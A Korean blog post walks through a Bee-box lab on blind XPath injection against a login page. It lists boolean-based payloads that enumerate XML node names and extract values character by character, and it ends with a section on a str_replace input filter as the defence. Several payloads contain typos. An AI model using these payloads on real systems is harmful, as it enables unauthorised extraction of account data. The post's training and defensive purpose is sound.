์ƒˆ์†Œ์‹

Game/Bee-box

[Bee-box] XML/Xpath ์ธ์ ์…˜-2

  • -
๋ฐ˜์‘ํ˜•

์ด๋ฒˆ ํฌ์ŠคํŒ…์€ XML/Xpath blind injection์ž…๋‹ˆ๋‹ค.

 

lucete1230-cyberpolice.tistory.com/100?category=851757

์•ž xml/xpath๊ณต๊ฒฉ๊ณผ ์ด์–ด์ง€๋Š” injection์ž…๋‹ˆ๋‹ค.

 

์‹ค์Šตํ•˜๋Š” ๋ชจ๋“  ๊ณต๊ฒฉ์€ ์‹ค์ œ๋กœ ์‚ฌ์šฉํ•˜์‹œ๋ฉด ์•ˆ๋ฉ๋‹ˆ๋‹ค.

ํ—ˆ์šฉ๋ฐ›์ง€ ์•Š์€ ์„œ๋น„์Šค ๋Œ€์ƒ์— ํ•ดํ‚น์„ ์‹œ๋„ํ•˜๋Š” ํ–‰๋™์€ ๊ธˆ์ง€ํ•˜๋ฉฐ,

๋ชจ๋“  ๋ฒ•์  ์ฑ…์ž„์€ ์‚ฌ์šฉ์ž์—๊ฒŒ ์žˆ๋Š” ๊ฒƒ์„ ๋ช…์‹ฌํ•ด์ฃผ์„ธ์š”.

 

 

** ์ด๋ฒˆ๊ธ€์€ ์ด๋ก ์œ„์ฃผ์˜ ๋ธ”๋ผ์ธ๋“œ sql injection์ž…๋‹ˆ๋‹ค. XML์„ ์ฒ˜์Œ ์ ‘ํ•˜๋Š” ๋ถ„๋“ค๊ป˜์„œ๋Š” ๋…ธ๋“œ์™€, ํ•˜์œ„ ๋…ธ๋“œ์˜ ๊ฐœ๋…๋“ค์„ ์ข€ ์ตํžˆ์‹  ํ›„ ์‹ค์Šตํ•ด๋ณด๋Š” ๊ฒƒ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค.**

 


 

์ „ ๊ธ€์— ์ด์–ด์„œ,  ์ด ํŽ˜์ด์ง€๋Š” XML ๋ฐ์ดํ„ฐ ๋ฒ ์ด์Šค์— ์ €์žฅ๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ

superhero ๊ทธ๋ฃน ์‚ฌ์šฉ์ž์˜ ๊ณ„์ • ์ •๋ณด๋Š” ๋…ธ๋“œ ๊ตฌ์กฐ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.

 

๋”ฐ๋ผ์„œ Xpath๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ตฌ์กฐ๋ฅผ ํŒŒ์•…ํ•œ๋‹ค.

 

xmli_1.php ํŽ˜์ด์ง€๋Š” ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ์ด๋ฏ€๋กœ, ๋กœ๊ทธ์ธ ์„ฑ๊ณต์ผ ๋•Œ์™€ ์‹คํŒจ์ผ ๋•Œ์˜ ์‘๋‹ต๋งŒ ์ œ๊ณตํ•œ๋‹ค.

์ฟผ๋ฆฌ ์ž…๋ ฅ์— ์ฐธ๊ณผ ๊ฑฐ์ง“ ๊ฒฐ๊ณผ๋ฅผ ํ†ตํ•ด ๋ฐ์ดํ„ฐ ๋ฒ ์ด์Šค๋ฅผ ์ถ”์ธกํ•˜๋Š” boolean based sql injection์„ ์‹œ๋„ํ•œ๋‹ค.

 

 

์šฐ์„  ๋ฐ์ดํ„ฐ ๋ฒ ์ด์Šค ๊ตฌ์กฐ๋ฅผ ํŒŒ์•…ํ•˜๊ธฐ ์œ„ํ•ด ๋…ธ๋“œ์˜ ๊ฐœ์ˆ˜๋ฅผ ํŒŒ์•…ํ•˜๋Š” countํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

count ํ•จ์ˆ˜์˜ ์ธ์ž๋กœ๋Š” ๋ถ€๋ชจ ๋…ธ๋“œ์˜ ๋ชจ๋“  ์ž์‹ ๋…ธ๋“œ๋ฅผ ์กฐํšŒํ•˜๋Š” Xpath๋ฅผ ์ž…๋ ฅํ•œ๋‹ค.

์ฆ‰ ํ˜„์žฌ ๋…ธ๋“œ๋ฅผ ํฌํ•จํ•˜์—ฌ ๋ถ€๋ชจ ๋…ธ๋“œ์˜ -> ์ž์‹ ๋…ธ๋“œ๊ฐ€ ์ด ๋ช‡ ๊ฐœ์ธ์ง€ ํŒŒ์•…ํ•œ๋‹ค.

 

 

์ฟผ๋ฆฌ๋Š” :

neo' and count(../child::*)=6 or 'a'='b ์ผ๋•Œ ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•œ๋‹ค.

์ฆ‰ ์ž์‹๋…ธ๋“œ๋Š” ์ด 6๊ฐœ์ด๋‹ค. 

countํ•จ์ˆ˜๋Š” ๋…ธ๋“œ์˜ ๊ฐœ์ˆ˜๋ฅผ ์ˆซ์ž๋กœ ๋ฐ˜ํ™˜ํ•ด์ฃผ๋Š” ํ•จ์ˆ˜์ด๋‹ค.

 

์ฟผ๋ฆฌ์˜ ๋งˆ์ง€๋ง‰b๋Š” a๊ฐ€ ๋˜์–ด๋„ ์ƒ๊ด€์—†๊ณ  1,0 ๋“ฑ ์ฐธ๊ณผ ๊ฑฐ์ง“์— ์—ฌ๋ถ€๊ฐ€ ์ƒ๊ด€์—†๋‹ค.

์ด์œ ๋Š” ์•ž์— ์ฟผ๋ฆฌ๊ฐ€ ์ฐธ์ผ ์‹œ = ์–ด์งœํ”ผ ์ฐธ ์ผ ๊ฒƒ์ด๊ณ , ๊ฑฐ์ง“์ด๋ผ๊ณ  ํ•˜๋ฉด ๋‘˜๋‹ค ๊ฑฐ์ง“์ด๋ฏ€๋กœ, ๊ฑฐ์ง“์˜ ๊ฐ’์„ ๋ฐ˜ํ™˜ ํ• ๊ฒƒ์ด๋ฏ€๋กœ

์ฐธ / ๊ฑฐ์ง“ ์—ฌ๋ถ€๋ฅผ ํŒ๋ณ„ํ•˜๋Š”๋ฐ์— ๋ฌธ์ œ ์—†๋‹ค.

 

์‹ค์ œ ์ฟผ๋ฆฌ๋Š” login='neo' and count(../child::*)=6 or 'a'='b' ๊ฐ€ ๋  ๊ฒƒ์ด๋‹ค.

 

๋‹ค์Œ์œผ๋กœ๋Š” ๋ถ€๋ชจ ๋…ธ๋“œ ๋ช…์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•œ ์ฟผ๋ฆฌ๋ฅผ ์ž…๋ ฅํ•ด๋ณด์ž.

 

'name' ์€ ์ธ์ž์— ์ž…๋ ฅ๋œ ๋…ธ๋“œ๋ช…์„ ์ถœ๋ ฅํ•˜๋Š” ํ•จ์ˆ˜์ด๊ณ , 'string-length'๋Š” ์ธ์ž๋กœ ๋ฐ›๋Š” ๋ฌธ์ž์—ด์˜ ๊ธธ์ด๋ฅผ 

๋ฐ˜ํ™˜ํ•˜๋Š” ํ•จ์ˆ˜์ด๋‹ค.

 

๋ถ€๋ชจ๋…ธ๋“œ๋ช… ์•Œ์•„๋ณด๊ธฐ:

 

neo' and string-length(name(parent::*))=6 or 'a'='b

 

ํ•ด์„ํ•˜์ž๋ฉด ๋ถ€๋ชจ๋…ธ๋“œ์˜ ์ด๋ฆ„์˜ ๊ธธ์ด๋Š” = 6 ! ์ด๋ผ๊ณ  ๋ณด๋ฉด๋œ๋‹ค.

1~6๊นŒ์ง€ ์ž…๋ ฅํ•ด๋ณธ ๊ฒฐ๊ณผ ๊ธธ์ด๋Š” 6์ด๋‹ค.

 

ํ•˜๋‚˜ํ•˜๋‚˜ ์ฟผ๋ฆฌ๋ฅผ ๋‹ค ์ž‘์„ฑํ•œ๋‹ค๋ฉด ๊ธ€์ด๋งค์šฐ ๊ธธ์–ด์งˆ ๊ฒƒ ๊ฐ™์•„์„œ ์š”์•ฝํ•ด์„œ ์ •๋ฆฌํ•˜์ž๋ฉด,

 

๋ถ€๋ชจ๋…ธ๋“œ ์ด๋ฆ„ ์ถ”์ธกํ•˜๊ธฐ :

 

neo' and substring(name(parent::*),1,1) = 'h' or 'a'='b

neo' and substring(name(parent::*),2,1) = 'e' or 'a'='b

neo' and substring(name(parent::*),3,1) = 'r' or 'a'='b

...

 

๋ถ€๋ชจ๋…ธ๋“œ ์ด๋ฆ„ : heroes 

 

๋ถ€๋ชจ๋…ธ๋“œ์˜ ์ž์‹ ๋…ธ๋“œ๋ช…์˜ ๊ธธ์ด๋ฅผ ์ถ”์ธกํ•˜๋Š” ์ฟผ๋ฆฌ : 

(์ž์‹๋…ธ๋“œ๊ฐ€ ๋ช‡๊ฐœ์ผ ์ง€ ๋ชจ๋ฅด๋ฏ€๋กœ, limit๋กœ ์ œํ•œ์„ ๋‘”๋‹ค. mysql์˜ limit๊ฐ™์€ ์—ฐ์‚ฐ์ž๊ฐ€ xml์—์„œ๋Š” position ํ•จ์ˆ˜์ด๋‹ค.)

 

neo' and string-length(name(../chile::*[position()=1]))=4 or 'a'='b

 

์ž์‹ ๋…ธ๋“œ๋ช… ์ถ”์ธก : 

neo' and substring(name(../child::*[position()=1),1,1)='h' or 'h'='b

neo' and substring(name(../child::*[position()=1),2,1)='h' or 'e'='b

neo' and substring(name(../child::*[position()=1),3,1)='h' or 'r'='b

neo' and substring(name(../child::*[position()=1),4,1)='h' or 'o'='b

 

์ž์‹ ๋…ธ๋“œ๋ช… = hero

 

์ž์‹๋…ธ๋“œ์˜ ๊ฐœ์ˆ˜๋Š” ์ด 6๊ฐœ์ด๋‹ค. (position ์„ ๋ฐ”๊ฟ”๊ฐ€๋ฉฐ ์•Œ ์ˆ˜ ์žˆ์Œ)

๋…ธ๋“œ๋ช…์€ 6๊ฐœ ๋ชจ๋‘ ๋™์ผํ•˜๋‹ค.

 

 

Xml ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ด๋ฏ€๋กœ, ์‚ฌ์šฉ์ž ์ •์˜๋กœ ๊ฐ™์€ ์†์„ฑ์„ ์ง€๋‹Œ ๋…ธ๋“œ๋Š” ๋…ธ๋“œ๋ช…์ด ๋™์ผํ•˜๋‹ค.

๋”ฐ๋ผ์„œ ํ˜„์žฌ๊นŒ์ง€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ตฌ์กฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์ฟผ๋ฆฌ๋ฅผ ํ•˜๋‚˜ํ•˜๋‚˜ ๋‹ค ํ•ด๋ณด๋ฉด ๋„ˆ๋ฌด ๊ธธ๊ธฐ ๋•Œ๋ฌธ์—, ํŒŒ์ด์ฌ ์ฝ”๋“œ๋ฅผ ์งœ์„œ blind sql ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•˜๋Š”๊ฒƒ์„ ๊ถŒ์žฅํ•จ. 

 

 

 


 

๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ ํ˜„์žฌ ๋…ธ๋“œ๋ฅผ ํ†ตํ•˜์—ฌ ๋…ธ๋“œ๋ช…์„ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

 

๋งˆ์น˜ mysql ์—์„œ ๋น„๊ตํ•˜์ž๋ฉด database() ํ•จ์ˆ˜๋กœ ์ž์‹ ์˜ db๋ช…์„ ์•Œ ์ˆ˜ ์žˆ๋Š” ๊ฒƒ๊ณผ ๊ฐ™๋‹ค.

 

neo' and string-length(name(.))=4 or 'a'='b

์—ฌ๊ธฐ์„œ name(.) ์€ ํ˜„์žฌ ๋…ธ๋“œ์˜ ์ด๋ฆ„์„ ์˜๋ฏธํ•œ๋‹ค. ์ฆ‰ ํ˜„์žฌ ๋…ธ๋“œ์˜ ์ด๋ฆ„์˜ ๊ธธ์ด๋Š” 4๋ผ๊ณ  ์ถ”์ธก ๊ฐ€๋Šฅ

 

ํ˜„์žฌ ๋…ธ๋“œ๋ช…์„ ์ฐพ๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฟผ๋ฆฌ๊ฐ€ ์“ฐ์ธ๋‹ค.

 

neo' and substring(name(.)),1,1)='h' or 'a'='b

์ด๋Ÿฐ์‹์œผ๋กœ ํ•˜๋‹ค๋ณด๋ฉด ํ˜„์žฌ ๋…ธ๋“œ  ์ด๋ฆ„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 


 

## hero ๋ฐ‘๋‹จ์˜ ์ž์‹๋…ธ๋“œ๋“ค ##

 

1. ํ˜„์žฌ ๋…ธ๋“œ์˜ ์ž์‹๋…ธ๋“œ๋ฅผ ์•Œ์•„๋ณด์ž (ํ˜„์žฌ ๋…ธ๋“œ ๊ฒฝ๋กœ: hero)

neo' and count(/heroes/hero[1]/child::*)=6 or 'a'='b

 

<1๋ถ€ํ„ฐ ์จ๋ดค๋”๋‹ˆ, 6์—์„œ ์ฐธ์ด ๋œฌ๋‹ค.>

์ฆ‰ heroes๋ฐ‘์— hero๋ผ๋Š” ๋…ธ๋“œ ์ค‘ [1]๋Š” ์ฒซ๋ฒˆ์งธ ๋…ธ๋“œ๋ฅผ ๋งํ•œ๋‹ค. 

 

์ฒซ๋ฒˆ์งธ hero ๋…ธ๋“œ์˜ ์ž์‹๋…ธ๋“œ๋Š” ์ด 6๊ฐœ์ด๋‹ค.

 

2. ์ฒซ๋ฒˆ์งธ ์ž์‹๋…ธ๋“œ๋ช…์˜ ๊ธธ์ด๋ฅผ ์•Œ์•„๋ณด์ž.

neo' and string-length(name(//hero[1]/child::*[position()=1]))=1 or 'a'='b

neo' and string-length(name(//hero[1]/child::*[position()=1]))=2 or 'a'='b

 

--> 2์ผ๋•Œ ok , ์ฆ‰ ์ฒซ๋ฒˆ์งธ ์ž์‹๋…ธ๋“œ ๊ธธ์ด ==2

 

3. ์ฒซ๋ฒˆ์งธ ์ž์‹๋…ธ๋“œ๋ช… ์•Œ์•„๋ณด๊ธฐ

neo' and substring(name(//hero[1]/child::*[position()=1]),1,1)='i' or 'a'='b

neo' and substring(name(//hero[1]/child::*[position()=1]),2,1)='d' or 'a'='b

 

์ž์‹๋…ธ๋“œ๋ช… == id

 

 

4. id์˜ ์ž์‹๋…ธ๋“œ์˜ ๊ธธ์ด

 

neo' and string-length(string(//hero[1]/id))= 1 or 'a'='b

 

id์˜ ์ž์‹ ๋…ธ๋“œ ๊ฐ’์˜ ๊ธธ์ด๊ฐ€ ๋ช‡์ธ์ง€ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด ๋ฌธ์ž์—ด์„ ๋ฐ˜ํ™˜ํ•˜๋Š” string๊ณผ

๋ฌธ์ž์—ด์˜ ๊ธธ์ด๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” string-lengthํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

1๋ถ€ํ„ฐ ์ž…๋ ฅํ•œ ๊ฒฐ๊ณผ ๋ฐ”๋กœ ๋กœ๊ทธ์ธ ์„ฑ๊ณต --> id ๋ผ๋Š” ์ž์‹๋…ธ๋“œ๋ช…๊ณผ ๋…ธ๋“œ์— ์ž…๋ ฅ๋œ ๋ฌธ์ž์—ด์˜ ๊ธธ์ด๊ฐ€ 1 ์ด๋ผ๋Š” ์ ์—์„œ,

์ˆœ์„œ๋ฒˆํ˜ธ๋ฅผ ๋œปํ•œ๋‹ค๊ณ  ์ถ”์ธกํ•œ๋‹ค.

 

5. id์˜ ์ž์‹๋…ธ๋“œ์˜ ๊ฐ’

neo' and substring(string(//hero[1]/id))= 1 or 'a'='b

์ˆœ์„œ๋ฒˆํ˜ธ์˜ ๊ฐ’์€ 1!

 

๊ณ„์† ์ด์–ด์„œ ๋…ธ๋“œ๋“ค์˜ ์ •๋ณด๋ฅผ ์•Œ์•„๋‚ด๋ ค๋ฉด positionํ•จ์ˆ˜์— ๋Œ€์ž…ํ•œ ๊ฐ’์„ ์ฆ๊ฐ€์‹œํ‚ค๋ฉด ๋œ๋‹ค. position์ด ๋‹ค๋๋‚˜๋ฉด

hero[1] --> hero[2] --> ...๋“ฑ์œผ๋กœ ์ธ์ ์…˜์„ ์ด์–ด๋‚˜๊ฐ€๋ฉด ๋œ๋‹ค.

 

XML blind sql injection CLEAR

 

 


 

๋Œ€์‘ ๋ฐฉ์•ˆ

๋‚œ์ด๋„ ์ƒ ์—์„œ๋Š” ์ž‘์€ ๋”ฐ์˜ดํ‘œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ๋„ XML์˜ค๋ฅ˜ ๋ฉ”์„ธ์ง€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์—†๋‹ค.

 

๋‚œ์ด๋„ ์ƒ ์— ํŽ˜์ด์ง€ ์ฝ”๋“œ๋ฅผ ํ™•์ธ ํ•˜๋ฉด, xmli_check_1 () ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ์šฐํšŒํ•œ๋‹ค.

 

 

 

ํ•จ์ˆ˜๋ฅผ ์‚ดํŽด๋ณด์•˜๋”๋‹ˆ(ํ•จ์ˆ˜๋Š” functions_external.php์— ์ •์˜๋˜์–ด์žˆ์Œ)

'str_replace' ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค. ์ด ํ•จ์ˆ˜๋Š” ์น˜ํ™˜ํ•จ์ˆ˜๋ผ๊ณ  ๋ด๋„ ๋˜๋Š”๋ฐ,

 

์ธ์ ์…˜์— ์‚ฌ์šฉ๋˜๋Š” ๋ฌธ์ž๋ฅผ ๊ณต๋ฐฑ์œผ๋กœ ๋Œ€์ฒดํ•˜๋Š” ํ•จ์ˆ˜์ด๋‹ค.

str_replace ํ•จ์ˆ˜๋Š” ์ฒซ๋ฒˆ์งธ ์ธ์ž์—, ๋Œ€์ฒดํ•˜๋ ค๋Š” ๋ฌธ์ž(์ฆ‰ ์ธ์ ์…˜์— ์‚ฌ์šฉ๋˜๋Š” ๋ฌธ์ž)๋ฅผ ์ž…๋ ฅํ•˜๊ณ 

๋‘๋ฒˆ์งธ ์ธ์ž์—๋Š” ๋Œ€์ฒดํ•  ๋ฌธ์ž๋ฅผ ์ž…๋ ฅํ•œ๋‹ค. 

๋งˆ์ง€๋ง‰ ์ธ์ž์—๋Š” ๋ณ€๊ฒฝํ•  ๋‚ด์šฉ์„ ์ €์žฅํ•  ๋ณ€์ˆ˜๋ฅผ ์ž…๋ ฅํ•œ๋‹ค.  xmli_check_1ํ•จ์ˆ˜์—์„œ ๋Œ€์ฒดํ•˜๋Š” ๋ฌธ์ž๋“ค์€ ์œ„์™€๊ฐ™๊ณ 

์ด ๋ฌธ์ž๋ฅผ ๊ณต๋ฐฑ์œผ๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ injection์„ ์‹œ๋„ํ•  ์‹œ ๋จนํžˆ์ง€ ์•Š๊ฒŒ๋” ๋ง‰๋Š” ๊ฒƒ์ด๋‹ค.

๋ฐ˜์‘ํ˜•
Contents

ํฌ์ŠคํŒ… ์ฃผ์†Œ๋ฅผ ๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค

์ด ๊ธ€์ด ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด ๊ณต๊ฐ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.